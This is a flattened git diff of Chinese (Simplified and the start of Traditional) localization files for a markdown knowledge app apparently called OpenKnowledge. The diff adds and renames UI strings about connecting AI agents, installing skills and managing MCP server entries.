src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "请先在此处安装一个技能"@@ -7172,22 +7266,12 @@ msgstr "安装 gh CLI"msgid "Install this skill"msgstr "安装此技能"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "已安装"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "已安装——ok 可在外部终端中使用。取消勾选会将其移除;OpenKnowledge 的内置终端和 AI 工具照常可用。"--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "已安装 — 可在外部终端中使用 ok。取消勾选会将其移除;你的 AI 工具仍可正常使用。"-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7245,6 +7329,14 @@ msgstr "安装后可用于你的所有项目"msgid "Installs into this project"msgstr "安装到此项目"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "为此智能体安装 OpenKnowledge 发现技能。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "为此智能体安装 OpenKnowledge 项目技能。"+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "将技能安装到 {path} — 第一个位置保存技能自身的副本"@@ -7643,7 +7735,7 @@ msgstr "正在加载 {fileName}"msgid "Loading agent activity"msgstr "正在加载智能体活动"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "正在加载智能体…"@@ -7866,11 +7958,16 @@ msgstr "listPacks 响应格式错误"msgid "Malformed plan response"msgstr "计划响应格式错误"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "管理"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "管理 {rowLabel}"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7884,13 +7981,10 @@ msgstr "管理技能文件夹"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "管理 OpenKnowledge 用来浏览和同步你的仓库的 GitHub 账户。"-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "这个版本不支持管理 AI 工具。"--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "这个版本不支持管理项目的 AI 工具。"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "此版本无法管理智能体连接。"#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7946,12 +8040,9 @@ msgstr "运行中的智能体已达上限"msgid "MCP auto-repair failed"msgstr "MCP 自动修复失败"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "MCP 连接"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "{failures} 的 MCP 自动修复失败"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8068,6 +8159,10 @@ msgstr "修改链接目标、锚点和显示标签。"msgid "More"msgstr "更多"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "更多信息"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "还有更多请求被拦截。"@@ -8537,7 +8632,7 @@ msgstr "还没有配置任何智能体——请从发送菜单中选一个。"msgid "no agents — saved, not installed anywhere"msgstr "未选择智能体 — 仅保存,不安装到任何位置"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "没有可用的智能体。"@@ -8546,7 +8641,7 @@ msgstr "没有可用的智能体。"msgid "No agents enabled"msgstr "没有启用任何智能体"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "没有智能体匹配你的搜索。"@@ -8910,11 +9005,12 @@ msgstr "未回答"msgid "Not attached to desktop bridge"msgstr "未连接到桌面桥接"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "这个平台不支持"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "未连接"@@ -8922,6 +9018,10 @@ msgstr "未连接"msgid "Not connected to GitHub."msgstr "未连接到 GitHub。"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "未在此计算机上检测到"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "不太好"@@ -8932,7 +9032,7 @@ msgstr "不在侧边栏中"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "未安装"@@ -9065,15 +9165,15 @@ msgstr "在 <0>{address}</0> 中选中的文本上"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "在根索引上,okf_version 被写为带引号的字符串,如 \"0.2\"。不加引号,YAML 将其读取为数字,0.10 默默地变成 0.1。"-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "还差一步:在 Cursor → Settings → Tools & MCP 中启用它(Cursor 默认关闭项目服务器,需要你手动开启)。"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "还差一步:在 {agent} → Settings → Tools & MCP 中启用它({agent} 默认关闭项目服务器,需要你手动开启)。"-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "还差一步:在这个项目中运行 <0>claude</0>,并批准 OpenKnowledge 一次。"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "还差一步:在这个项目中运行 {agent},并批准 OpenKnowledge 一次。"#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9164,10 +9264,6 @@ msgstr "请先打开一个项目。"msgid "Open a project to edit."msgstr "请打开一个项目以进行编辑。"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "请打开一个项目,以管理它与 AI 工具的连接。"-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "打开单个 markdown 文件——无需设置项目。"@@ -9506,6 +9602,10 @@ msgstr "OpenKnowledge 检查了冲突"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge 检查了项目"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge 未在此设备上找到该智能体。"+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge 无法读取 .ok/local/config.yml 中的 terminal.shell,将改用可用的 Windows shell。"@@ -9534,6 +9634,18 @@ msgstr "OpenKnowledge 删除了 {subject}"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge 删除了一个文档"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "OpenKnowledge 发现技能"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge 无法识别此条目,且无法在此文件格式中安全替换。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge 无法识别此条目。启用后将替换它。"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge 编辑了 {subject}"@@ -9578,6 +9690,10 @@ msgstr "OpenKnowledge 正在使用 gh CLI 提供的 GitHub 账户。没有单独msgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge 正在使用这个 GitHub 账户。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge 未修改此文件,因为无法安全地解析它。请手动修复该文件,然后重试。"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge 列出了已安装的技能"@@ -10289,10 +10405,6 @@ msgstr "项目"msgid "Project"msgstr "项目"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "项目的 AI 工具管理仅在 OpenKnowledge 桌面应用中可用。"-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "项目详情"@@ -10301,6 +10413,10 @@ msgstr "项目详情"msgid "Project folder created, but git init failed. Try again."msgstr "项目文件夹已创建,但 git init 失败。请重试。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "项目 MCP 服务器"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "项目名称"@@ -10314,6 +10430,10 @@ msgstr "项目插件是你项目的写作规范——在这里开启或关闭它msgid "Project root"msgstr "项目根目录"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "项目技能"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "项目模板"@@ -10468,6 +10588,21 @@ msgstr "{pushed}推送"msgid "Pushing"msgstr "正在推送"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "把 OpenKnowledge 发现技能放进 {agent} 的全局技能文件夹,让它在任何项目中都能找到 OpenKnowledge。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "把 OpenKnowledge 技能放进 {agent} 在这个项目中的技能文件夹,让它的编辑保持署名。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "把 OpenKnowledge 技能放进 {agent} 读取的中央技能库。"+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "正在解谜…"@@ -10586,6 +10721,10 @@ msgstr "最近的项目"msgid "Recently opened"msgstr "最近打开"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "推荐"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "推荐代理技能"@@ -10721,6 +10860,8 @@ msgstr "远程控制"msgid "Remote skill source"msgstr "远程技能来源"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10761,6 +10902,10 @@ msgstr "移除 {patternText}"msgid "Remove {projectName} from recent projects"msgstr "把 {projectName} 从最近的项目中移除"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "移除 {rowLabel}"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "移除 {tag}"@@ -10773,6 +10918,10 @@ msgstr "移除失败:{error}"msgid "Remove field {field}"msgstr "移除字段 {field}"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "移除两者"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10792,6 +10941,15 @@ msgstr "移除链接"msgid "Remove OpenKnowledge from {0}"msgstr "把 OpenKnowledge 从 {0} 中移除"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "从 {0} 中移除 OpenKnowledge?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "移除 OpenKnowledge?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "移除属性"@@ -10935,7 +11093,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "正在用全新的本地协作缓存重新打开“{docName}”。"#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "已修复 {names} 的 MCP 集成"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10951,6 +11109,10 @@ msgstr "替换 {keyName}"msgid "Replace all matches"msgstr "替换所有匹配项"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "替换并保存"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "替换当前匹配项"@@ -10983,6 +11145,10 @@ msgstr "要把这些副本替换为指向来源的符号链接吗?"msgid "Replace these symlinks with independent copies?"msgstr "要把这些符号链接替换为独立副本吗?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "替换此文件中现有的 \"open-knowledge\" 条目。文件中的其他服务器保持不变。"+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11239,7 +11405,7 @@ msgstr "正在检索…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "重试"@@ -11379,6 +11545,7 @@ msgstr "沙箱化的 HTML 嵌入——写下 HTML,实时查看渲染效果。"msgid "Save"msgstr "保存"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "保存更改"@@ -11429,6 +11596,7 @@ msgstr "与项目一起保存,供你的团队使用。"msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "把文件保存到 <0>~/Downloads/openknowledge.skill</0> 并打开 Claude 桌面应用。需要你的 PATH 中有 Node.js 或 Bun。"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "正在保存"@@ -11482,7 +11650,7 @@ msgstr "按语义搜索 \"{semanticSubmitQuery}\""msgid "Search ({searchShortcutLabel})"msgstr "搜索({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "搜索智能体"@@ -12066,8 +12234,7 @@ msgstr "再显示 {0} 个"msgid "Show {hidden} more"msgstr "再显示 {hidden} 个"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "再显示 {hiddenCount} 个"@@ -12133,8 +12300,7 @@ msgid "Show in Explorer"msgstr "在资源管理器中显示"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "收起"@@ -12341,11 +12507,6 @@ msgstr "来自 {0}/{1} 的技能。"msgid "Skills from OpenKnowledge"msgstr "来自 OpenKnowledge 的技能"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "技能已移至技能工作室。"-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "技能已重新分配"@@ -12501,6 +12662,7 @@ msgstr "发送你的反馈时出了点问题。请重试。"msgid "Something went wrong starting the terminal."msgstr "启动终端时出了点问题。"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "出了点问题。请重试。"@@ -13074,7 +13236,6 @@ msgstr "模板"msgid "Templates available"msgstr "可用模板"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13083,8 +13244,7 @@ msgstr "可用模板"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13212,6 +13372,11 @@ msgstr "{0} 的下载请求超时。"msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "{0} 插件从其缓存提供这些技能 — OK 绝不会编辑或更新它们。"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "{agent} 桌面应用会忽略这个项目配置;只有 {agent} 命令行会读取它。"+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "{editor} 文件夹中有这个技能的另一个版本。请选择保留哪一个,或者用不同的名字都保留。被替换的内容会先备份。"@@ -13452,6 +13617,14 @@ msgstr "来源文件夹本身不会移动。"msgid "The template's filename (without `.md`)."msgstr "模板的文件名(不含 `.md`)。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "{label} 的终端行和桌面行共用同一套设置,因此连接其中一个会同时连接两者。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "{label} 的终端行和桌面行共用同一套设置,因此移除它会同时断开两者。"+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "这个项目关闭了终端。重新开启后才能在这里运行命令。"@@ -13608,6 +13781,14 @@ msgstr "此智能体不提供斜杠命令"msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "此智能体不提供斜杠命令 — 你的消息将作为纯文本发送"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "此智能体不提供让 OpenKnowledge 代为设置的方式。请参考其设置指南中的手动步骤。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "此智能体在该设备上尚无此类文件。请先打开该智能体,然后重新检查。"+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "此智能体尚未公布其命令"@@ -13651,6 +13832,14 @@ msgstr "这条评论针对的是整个属性"msgid "This conflict is resolved."msgstr "此冲突已解决。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "无法完成设置,因为它所需的 MCP 服务器条目未写入。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "这会删除下方列出的 MCP 服务器条目和技能文件。在重新添加之前,智能体将无法访问你的文档。"+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "这个文档"@@ -13683,6 +13872,10 @@ msgstr "此文档已被删除"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "这个端点忽略了你配置的向量维度。移除 <0>search.semantic.dimensions</0> 即可使用模型自己的维度。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "OpenKnowledge 写入后此条目已更改。启用会将其替换。"+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "这个字段带有编辑器不显示的额外架构关键字——保存时会予以保留。"@@ -13735,6 +13928,10 @@ msgstr "此文件夹是 {actualOwner}/{actualRepo} 的克隆,而不是 {expectmsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "此文件夹是 {actualHost} 上 {expectedOwner}/{expectedRepo} 的克隆,而不是 {expectedHost}。要换一个从 {expectedHost} 克隆的文件夹吗?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "此文件夹同时也属于 {alsoAffects}。"+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "这个文件夹是空的。"@@ -13793,6 +13990,7 @@ msgstr "这个项目"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "这看起来像是驱动器根目录(例如 C:\\)。在这里搭建项目会扫描整个驱动器。"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13818,6 +14016,10 @@ msgstr "这个需要查看您的文件,而不仅仅是打开的文档,因此msgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "这一个教你的 AI 工具如何使用 OpenKnowledge。它位于项目文件夹中,因此会为每个打开本项目的人安装。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "无法自动更改此选项。"+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "这个包在这里已经设置好了。"@@ -13873,6 +14075,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "这会永久移除 {path}。在重新创建它,或者由上级文件夹中的同名模板取代之前,按名称引用这个模板的智能体都会失败。"#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13921,11 +14124,6 @@ msgstr "这个项目正在运行的服务器不支持实时编辑。重启 OpenKmsgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "这个项目的服务器(v{0})比这个应用(v{1})新。"-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "本项目的技能已移至技能工作室。"-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "这会从你的 Mac 以及你在下方选择的项目中移除 OpenKnowledge 的设置和集成,但保留你的 markdown 内容和自己编写的技能。"@@ -13963,6 +14161,18 @@ msgstr "这项设置按电脑生效,不会与协作者共享。"msgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "这项设置按电脑生效,不会与协作者共享。除非你的端点是不需要密钥的本地服务器,否则需要一个 API 密钥(在下方设置)。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "此设置通过 <0>{path}</0> 与 {peers} 共享。在此移除也会同时为 {peers} 移除。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "此设置与 {peers} 共享,OpenKnowledge 无法在此处更改它。请先在 Skills Studio 中取消该文件夹的链接。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "此设置与 {peers} 共享。在此移除也会同时为 {peers} 移除。"+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "这个来源包含多个技能——请先选择一个,然后导入。"@@ -14283,7 +14493,6 @@ msgid "Type to find a doc"msgstr "输入以查找文档"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "这个平台不可用"@@ -14917,8 +15126,7 @@ msgstr "希望 AI 做什么?(可选)"msgid "What the agent may read, write, and surface."msgstr "智能体可以读取、写入和呈现的内容。"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "这个复选框会改变什么"@@ -14994,6 +15202,10 @@ msgstr "你是谁,好让智能体了解你的背景。"msgid "Whole word"msgstr "全字匹配"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "为什么需要注意"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "维基链接"@@ -15031,6 +15243,10 @@ msgstr "窗口"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "没有已连接的 AI 工具,此入门包的 {packSkillCount, plural, one {# 项技能} other {# 项技能}} 不会被安装。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "没有该技能,智能体仍可工作,但会失去编辑归属和实时预览。"+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "自动换行"@@ -15078,6 +15294,11 @@ msgstr "Worktree"msgid "Wrap long lines in the markdown source editor."msgstr "在 markdown 源码编辑器中对长行自动换行。"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "写入一个小的桥接文件,{agent} 会从这个项目加载它来连接 OpenKnowledge。"+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "写入条目到"@@ -15086,6 +15307,10 @@ msgstr "写入条目到"msgid "writing"msgstr "写作"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "写入此文件失败。请查看 OpenKnowledge 日志了解原因。"+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "已写入 Open Knowledge 扩展,但无法将该文件夹标记为受信任,因此它不会被加载。此线程没有 Open Knowledge 工具。"@@ -15233,6 +15458,10 @@ msgstr "你本地的 <0>{shareBranch}</0> 分支副本有改动尚未推送到 Gmsgid "Your current version is saved first, so this is reversible."msgstr "你当前的版本会先被保存,因此这一步可以撤销。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "不会改动你的文档。"+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/zh-Hant/messages.json b/packages/app/src/locales/zh-Hant/messages.jsonindex fea2d3446..84b058f42 100644--- a/packages/app/src/locales/zh-Hant/messages.json+++ b/packages/app/src/locales/zh-Hant/messages.json@@ -55,7 +55,6 @@"03wKPg": ["回報能幫我們找出原因。在你檢查過之前不會送出任何內容。"],"04JR6L": ["連接你的 AI 工具"],"04RA0-": ["開啟同步失敗——", ["detail"]],- "04XyCH": ["加入一個受管理的區塊到 ", ["0"]],"05F1GY": ["原始文字已被刪除。你可以將此註解重新定位到選取的文字上。"],"05n5wS": ["文件提及建議"],"06SZfb": ["已建立範本「", ["trimmedTitle"], "」"],@@ -143,6 +142,7 @@"1DahsC": ["搜尋設定"],"1EcCom": [["keyName"], " 的值"],"1FLarN": ["請先描述你想建立的內容再繼續"],+ "1FXL-O": ["無法完成設定,因為它所需的 MCP 伺服器項目未寫入。"],"1GhYxC": ["共 ", ["totalPages"]],"1HBhDS": ["正在簽出檔案"],"1J0c0X": ["仍然無法連線到 ", ["displayName"], "。要再試最後一次嗎?"],@@ -216,11 +216,13 @@"2YOwme": ["已重新啟動——現在執行的是 v", ["appRuntime"], "。"],"2YZwPB": ["外連連結回應的結構與預期不符。"],"2Yt22K": ["隱藏原始版本"],+ "2gXnCO": ["全域 MCP 伺服器"],"2hYmUH": ["[email protected]"],"2hpdRq": ["隱藏面板(", ["panelShortcutLabel"], ")"],"2j1kfc": ["請輸入有效的 URL(例如 https://api.openai.com/v1)。"],"2jUGEP": ["公開統計技能安裝次數"],"2l293S": ["你可以從資源回收筒還原此檔案。"],+ "2lJAvH": [["label"], " 的終端行與桌面行共用同一套設定,因此移除它會同時中斷兩者。"],"2m_bmh": [["label"], "(", ["0"], ")"],"2myNzt": ["我們已經把它交給團隊,並附上了你的記錄。"],"2n3oDU": ["依連入連結數量排序的專案層級頁面,最多 ", ["FULLSCREEN_HUB_LIMIT"], " 筆結果。"],@@ -299,6 +301,7 @@"3l_cXP": ["想看的話可以看看。我們收到的就是這個檔案本身。"],"3m2GBo": ["正在搜尋文件"],"3mFsc3": 